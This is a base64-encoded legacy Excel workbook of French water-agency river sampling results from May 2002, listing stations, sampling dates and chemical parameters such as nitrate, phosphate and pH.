OwAAXy0qICMsIyMwLjAwXCBfRl8tO1wtKiAjLCMjMC4wMFwgX0ZfLTtfLSogIi0iPz9cIF9G
Xy07Xy1AXy0eBAsApAAGAAAwLkUrMDAeBBEApQAMAAAjLCMjMC4wMFwgX0YeBBwApgAXAAAj
LCMjMC4wMF8gO1wtIywjIzAuMDBcIB4EHgCnABkAACMsIyMwLjAwMF8gO1wtIywjIzAuMDAw
XCAeBBYAqAARAAAjLCMjMF8gO1wtIywjIzBcIB4EDgCpAAkAACMsIyMwXCBfRh4ECACqAAMA
ADAuMB4EEgCrAA0AACMsIyMwLjAwXCAiRiIeBAkArAAEAABoOm1tHgQNAK0ACAAAbW1tbVwt
eXngABQAAAAAAPX/IAAAAAAAAAAAAAAAwCDgABQAAQAAAPX/IAAA9AAAAAAAAAAAwCDgABQA
AQAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAgAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAgAAAPX/
IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAA
AAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAA
wCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQA
AAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/
IAAA9AAAAAAAAAAAwCDgABQAAAAAAPX/IAAA9AAAAAAAAAAAwCDgABQAAAAAAAEAIAAAAAAA
AAAAAAAAwCDgABQAAQArAPX/IAAA+AAAAAAAAAAAwCDgABQAAQApAPX/IAAA+AAAAAAAAAAA
wCDgABQAAQAsAPX/IAAA+AAAAAAAAAAAwCDgABQAAQAqAPX/IAAA+AAAAAAAAAAAwCDgABQA
AQAJAPX/IAAA+AAAAAAAAAAAwCDgABQAAAAAAAEAIAAAIBERQCBAIAAAwCDgABQAAAAAAAEA
EwAAUAAAAAAAAAAECSDgABQAAAAAAAEAIAAAQAAAAAAAAAAECSDgABQAAAAAAAEAIAAAUAAA
AAAAAAAECSDgABQABgAAAAEAEwAAeBERQCBAIAAEKyDgABQABgAAAAEAEwAAfBERQCBAIAAE
KyDgABQABgAAAAEAEgAAeBERQCBAIAAEKyDgABQABgAAAAEAGAAAeBERQCBAIAAEKyDgABQA
AAARAAEAIAAABAAAAAAAAAAAwCDgABQACAAAAAEAEwAAXAAAAAAAAAAECSDgABQABQAAAAEA
EwAAWAAAAAAAAAAECSDgABQAAAAAAAEAEwAAVAAAAAAAAAAECSDgABQACAAAAAEAIAAASAAA
AAAAAAAECSDgABQABgAAAAEAIAAASAAAAAAAAAAECSDgABQAAAAAAAEAIwAAUAAAAAAAAAAE
CSDgABQABQAAAAEAIwAAXAAAAAAAAAAECSDgABQABQAAAAEAIwAAHAAAAAAAAAAAwCDgABQA
CQARAAEAIgAAfAAAAAAAAAAECSDgABQAAAAAAAEAIgAAEAAAAAAAAAAAwCDgABQACAARAAEA
IgAAfAAAAAAAAAAECSDgABQABgAAAAEAEgAAfBERQCBAIAAEKyDgABQABgAAAAEAIgAAWAAA
AAAAAAAECSDgABQAAAAAAAEAIgAAUAAAAAAAAAAECSDgABQAAAAOAAEAIAAAJBERQCBAIAAA
wCDgABQABgAAAAEAEwAAWAAAAAAAAAAECSDgABQAAAAAAAEAIAAAYBERQCBAIAAECSDgABQA
CwAAAAEAIwAAfBERQCBAIAAECSDgABQABgABAAEAIAAATAAAAAAAAAAECSDgABQAAAAxAAEA
IgAAVAAAAAAAAAAECSDgABQAAAAxAAEAIAAABAAAAAAAAAAAwCDgABQAAAAAAAEAIQAAEAAA
AAAAAAAAwCDgABQABgAAAAEAGQAAeBERQCBAIAAEKyDgABQABwAAAAEAGQAAeBERQCBAIAAE
KyDgABQABQAAAAEAEAAAWAAAAAAAAAAECSDgABQABQAAAAEAIAAAHAAAAAAAAAAAwCDgABQA
BgABAAEAIAAAbBERQCBAIAAEKSDgABQAAAABAAEAIgAAdBERQCBAIAAECSDgABQAAACsAAEA
IgAANBERQCBAIAAAwCDgABQAAAAAAAEAIwAAdBERQCBAIAAECSDgABQAAAAAAAEAIwAAcBER
QCBAIAAECSDgABQACgAAAAEAEgAAeAERQABAIAAEKyDgABQACgAAAAEAEgAAeAARAABAIAAE
KyDgABQACgAAAAEAEgAAeBARACBAIAAEKyCTAgQAEIAD/5MCBAARgAb/kwIEABKABP+TAgQA
E4AH/5MCBAAAgAD/kwIEABSABf+pAUcAFIAF/wQAAABE0P9rsFDUEYRaAGAIgU88AAAAAAAA
AAAcAwAAtgEAAFgC9wwtKgAA//8SAABS6XN1bHRhdHMgY2FsY3Vs6XOpAUoAFIAF/wQAAABD
0P9rsFDUEYRaAGAIgU88AAAAAAAAAAAcAwAAtgEAAFgC9wwtKgAA//8VAABQculs6HZlbWVu
dHMgY2FsY3Vs6XOpAUEAFIAF/wEAAAC0Akx6IQrUEYQmAGAIgU88AAAAAAAAAAAcAwAAtgEA
AFgC9wwtKgAA//8MAABwcmVsZXZlbWVudHOpAUEAFIAF/wMAAABxUX+10S/UEYQ9AGAIgU88
AAAAAAAAAAAcAwAAtgEAAFgC9wwtKgAA//8MAABwculs6HZlbWVudHNgAQIAAQCFAA4AqhoA
AAAABgAyMDAyMDWFAA4ApHMAAAAABgBGZXVpbDGMAAQAIQAhAK4BBAACAAEEFwAIAAEAAAAA
AAAAGABPAAEAADULAAAAAQAAAAAAAFpfNkJGRkQwNDNfNTBCMF8xMUQ0Xzg0NUFfMDA2MDA4
ODE0RjNDXy53dnUuUHJpbnRBcmVhOwAAAAAbABYALwAYAE8AAQAANQsAAAABAAAAAAAAWl82
QkZGRDA0NF81MEIwXzExRDRfODQ1QV8wMDYwMDg4MTRGM0NfLnd2dS5QcmludEFyZWE7AAAA
ABsAFgAvABgATwABAAA1CwAAAAEAAAAAAABaX0I1N0Y1MTcxXzJGRDFfMTFENF84NDNEXzAw
NjAwODgxNEYzQ18ud3Z1LlByaW50QXJlYTsAAAAAGwAWAC8AGAAbACAAAAELAAAAAQAAAAAA
AAY7AAAAAB0AAABCAPwAcQj9AQAAvwAAAAIAAFBIBAAAVEVBVQQAAFRBSVICAABPMgUAAE8y
U0FUBQAAVFJBTlMDAABDRFQCAABUQQMAAFRBQwIAAENsAgAAQ2ECAABNZwMAAE1FUwMAAERD
TwQAAERCTzUDAABOVEsDAABOSDQDAABOTzMDAABOTzICAABQVAMAAFBPNAQAAENITEEEAABQ
UEdNBQAARUNPTEkEAABTVFJGAgAAsEMEAABtZy9sAQAAJQQAALVnL2wQAABOsERvc3NpZXIg
RGlwb2xlDgAATrBwb2ludCBhZ2VuY2UKAABEYXRlIHBy6WwuCgAASGV1cmUgcHLpbAsAAE9y
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
AAABAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABd8AAEKDZYcBzNq6AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADM2rpoAHAAIABjAHAA
MQAxADYAMAAAAGMAcAAxADEANgAwACwATABvAGMAYQBsAE8AbgBsAHkAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKEAIgAJAEEAAQABAAEA
AAAsASwBGAwGg8Fg4D8YDAaDwWDgPwEAVQACAAoAfQAMAAAAAABtBRcAAgAAAH0ADAABAAEA
2w8hAAIAAAB9AAwAAgACAG0IMwACAAAAfQAMAAMAAwCSCQ8AAgAAAH0ADAAEAAQAbQcPAAIA
AAB9AAwABQAFALYHDwACAAAAfQAMAAYABgC2Cg8AAgAAAH0ADAAHAAcAthYPAAIAAAB9AAwA
CAAVALYHDwACAAAAfQAMABYAGgC2BxYAAgAAAH0ADAAbABsAAAgWAAIAAAB9AAwAHAAfALYH
FgACAAAAfQAMACAAIQC2ByAAAgAAAH0ADAAiACwAtgcWAAIAAAB9AAwALQAtAJIHFgACAAAA
fQAMAC4AMwC2BxcAAgAAAH0ADAA0ADUAtgcjAAIAAAB9AAwANgA3ALYHFwACAAAAfQAMADgA
AAFtCxcAAAAAAJAAEAAAAAkAAABDb2xvbm5lIDEBAAIOAAAAAAAeAAAAAABNAAAACAIQAAAA
AABNAP8AAABUMAABEgAIAhAAAQAAAE0AOwEAABIAgAEYAAgCEAACAAAATQAsAQAAAABAARIA
CAIQAAMAAABNABoBAAAxAMABKgAIAhAABAAAAE0AGgEAAPt/wAEqAAgCEAAFAAAATQD9AgAA
AACAASIACAIQAAYAAABNALcBAAAAAMABIgAIAhAABwAAAE0AtwEAABIAQAECAAgCEAAIAAAA
TQC3AQAAAABAARIACAIQAAkAAABNALcBAAA4AEABMgAIAhAACgAAAE0AtwEAAAAAQAHhBwgC
EAALAAAATQC3AQAAAABAAQAACAIQAAwAAABNALcBAAAAAEABAAAIAhAADQAAAE0AtwEAAAAA
QAEAAAgCEAAOAAAATQC3AQAAAABAAQAACAIQAA8AAABNALcBAAAAAEABAAAIAhAAEAAAADYA
twEAAAAAQAEAAAgCEAARAAAANgC3AQAAuwBAAQAACAIQABIAAAA2ALcBAAASAEABAAAIAhAA
EwAAADYAtwEAAJ0wQAEAAAgCEAAUAAAANgC3AQAAAABAAQAACAIQABUAAAA2ALcBAAAAAEAB
8EcIAhAAFgAAADYAtwEAAAAAQAEAAAgCEAAXAAAANgC3AQAAhgBAAQAACAIQABgAAAA2ALcB
AAAAAEABAAAIAhAAGQAAADYAtwEAAAAAQAEAAAgCEAAaAAAANgC3AQAAEgBAAfNHCAIQABsA
AAA2ALcBAAASAEABtEcIAhAAHAAAADYAtwEAAAAAQAESAAgCEAAdAAAANgC3AQAAEDBAARIA
vgAeAAAAFgAXABcAFwAXABcAFwAXABcAFwAXABcAFwAhAL4AHAAAACMAFwAXABcAFwAXABcA
FwAXABcAFwAXAC0AvgAOAAAAMAAjACMAIwAjADMAvgASAAEAAQAeADMADwAPAA8ADwAGAP0A
CgABAAcANwC+AAAAvgAuAAEACQAPAA8ADwAPAA8ADwAPADIADwAPADEADwAPACMAJAAkAB8A
IwAWACMAHAABAgYAAQAeABYABgAbAAEAHwA2AAAAGAToAP//AAAPADL9BQBEAQAHwAcCPgA7
AABS6XN1bHRhdHMgQUdFTkNFIERFIEwnRUFVIHZpYSBsYSBTb2Np6XTpIEfpbyBIeWQgIC1N
YWkgMjAwMr4ACgABACAALQAWACEAAQIGAAEAJAAlAL4ALAABACgAFgAWABYAFgAWABYAFgAW
ACMAIwAjACMAIwAjABcAFwAXABcAFwA6AAYAGwABADsANgAAAJAE6AD//wAAAQAf/gUARAEA
B8AHAj4AOwAAUulzdWx0YXRzIEFHRU5DRSBERSBMJ0VBVSB2aWEgbGEgU29jael06SBH6W8g
SHlkICAtTWFpIDIwMDK+ACgAAQA8ABcAFwAXABcAFwAXABcAFwAXABcAFwAXABcAFwAXABcA
FwBMAAECBgACAAsAHQC+AA4AAgAgABYAFgAgACAAIwC+ABIAAgAuABYAFgAjACMAIwAjADMA
/QAKAAMAAQAmADAAAAC+AC4AAwACADMAJwAnACcAJwAnACcAJwAnACcAJwAnACcAJwAnACcA
JwAnACcAJwAVAP0ACgADABYAGwAAAAAA/QAKAAMAFwAbAAEAAAD9AAoAAwAYABsAAgAAAP0A
CgADABkAGwADAAAA/QAKAAMAGgAbAAQAAAD9AAoAAwAbABsABQAAAP0ACgADABwAGwAGAAAA
/QAKAAMAHQAbAAcAAAD9AAoAAwAeABsACAAAAP0ACgADAB8AGwAJAAAA/QAKAAMAIAAbADcA
AAD9AAoAAwAhABsACgAAAP0ACgADACIAKQALAAAA/QAKAAMAIwApADkAAAD9AAoAAwAkACkA
OAAAAP0ACgADACUAKQA6AAAA/QAKAAMAJgAbAAwAAAD9AAoAAwAnABsAPgAAAP0ACgADACgA
GwANAAAA/QAKAAMAKQAbAA4AAAD9AAoAAwAqABsADwAAAP0ACgADACsAGwAQAAAA/QAKAAMA
LAAbABEAAAD9AAoAAwAtABsAEgAAAP0ACgADAC4AGwATAAAA/QAKAAMALwAbABQAAAD9AAoA
AwAwABsAFQAAAP0ACgADADEAGwAWAAAA/QAKAAMAMgAbABcAAAD9AAoAAwAzABsAGAAAAP0A
CgADADQAGwA9AAAA/QAKAAMANQAbAD8AAAC+ADAAAwA2ACsAKwArACsAKwArACsAKwArACsA
KwArACsAKwArACsAKwArACsAKwArAEoAvgAyAAQAAQAoADMAJwAnACcAJwAnACcAJwAnACcA
JwAnACcAJwAnACcAJwAnACcAJwAbABYA/QAKAAQAFwAbABkAAAD9AAoABAAYABsAGQAAAP0A
CgAEABkAGwAaAAAA/QAKAAQAGgAbABsAAAD9AAoABAAbABsANAAAAP0ACgAEABwAGwA7AAAA
/QAKAAQAHQAbADYAAAD9AAoABAAeABsANgAAAP0ACgAEAB8AGwAaAAAA/QAKAAQAIAAbABoA
AAD9AAoABAAhABsAGgAAAP0ACgAEACIAKQAaAAAA/QAKAAQAIwApABoAAAD9AAoABAAkACkA
GgAAAP0ACgAEACUAKQAaAAAA/QAKAAQAJgAbABoAAAD9AAoABAAnABsAGgAAAP0ACgAEACgA
GwAaAAAA/QAKAAQAKQAbABoAAAD9AAoABAAqABsAGgAAAP0ACgAEACsAGwAaAAAA/QAKAAQA
LAAbABoAAAD9AAoABAAtABsAGgAAAP0ACgAEAC4AGwAaAAAA/QAKAAQALwAbABoAAAD9AAoA
BAAwABsAHAAAAP0ACgAEADEAGwAcAAAAvgA4AAQAMgAbABsAGQAZACsAKwArACsAKwArACsA
KwArACsAKwArACsAKwArACsAKwArACsAKwArAEoA/QAKAAUAAQA1AB0AAAD9AAoABQACADQA
HgAAAP0ACgAFAAMAHAAfAAAA/QAKAAUABAAcACAAAAD9AAoABQAFABwAIQAAAP0ACgAFAAYA
HAA8AAAA/QAKAAUABwAcACIAAAD9AAoABQAIABwAIwAAAP0ACgAFAAkAHAAkAAAA/QAKAAUA
CgAcACUAAAD9AAoABQALABwAMgAAAP0ACgAFAAwAHAAmAAAA/QAKAAUADQAcACcAAAD9AAoA
BQAOABwAKAAAAP0ACgAFAA8AHAApAAAA/QAKAAUAEAAcACoAAAD9AAoABQARABwAKwAAAP0A
CgAFABIAHAAsAAAA/QAKAAUAEwAcAC0AAAD9AAoABQAUABwALgAAAP0ACgAFABUAHAAvAAAA
/QAKAAUAFgA9ADUAAAC+ACIABQAXAD4APgA+AD4APgA/ABkAGQAZABkAGQAaABoAGgAkAP0A
CgAFACUAKQBAAAAAvgAWAAUAJgAZABkAGQAZABkAGQAZABkALQD9AAoABQAuABsAMwAAAP0A
CgAFAC8AGwAxAAAAvgA8AAUAMAAZABkAGwAbABkAGQAXABcAFwAXABcAFwAXABcAFwAXABcA
FwAXABcAFwAXABcAFwAXABcAFwBKAH4CCgAGAAAAMAAAAPA//QAKAAYAAQA4AJAAAAD9AAoA
BgACADkASAAAAP0ACgAGAAMALACRAAAA/QAKAAYABAA6AJIAAAB+AgoABgAFABUAAIiHQP0A
CgAGAAYAFQBJAAAA/QAKAAYABwAVAEoAAAC9AIQABgAIABUAAADwPxUAAADwPxUAAADwPxUA
AAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAAAAQBUAAADwPxUAAAAAQBUA
AAAAQBUAYeH4QC8AAQiKQC8AAQCUQC8AAAAsQC8AAeiSQC8AAIBcQC8AAIBLQC8AAOByQBwA
/QAKAAYAHQAvAIUAAAC9ABIABgAeAC8AAAAbQC8AAAA+QB8A/QAKAAYAIAAvAEMAAAC9ABIA
BgAhAC8AAAA7QC8AAAAoQCIA/QAKAAYAIwAvAEMAAAD9AAoABgAkAC8AQwAAAP0ACgAGACUA
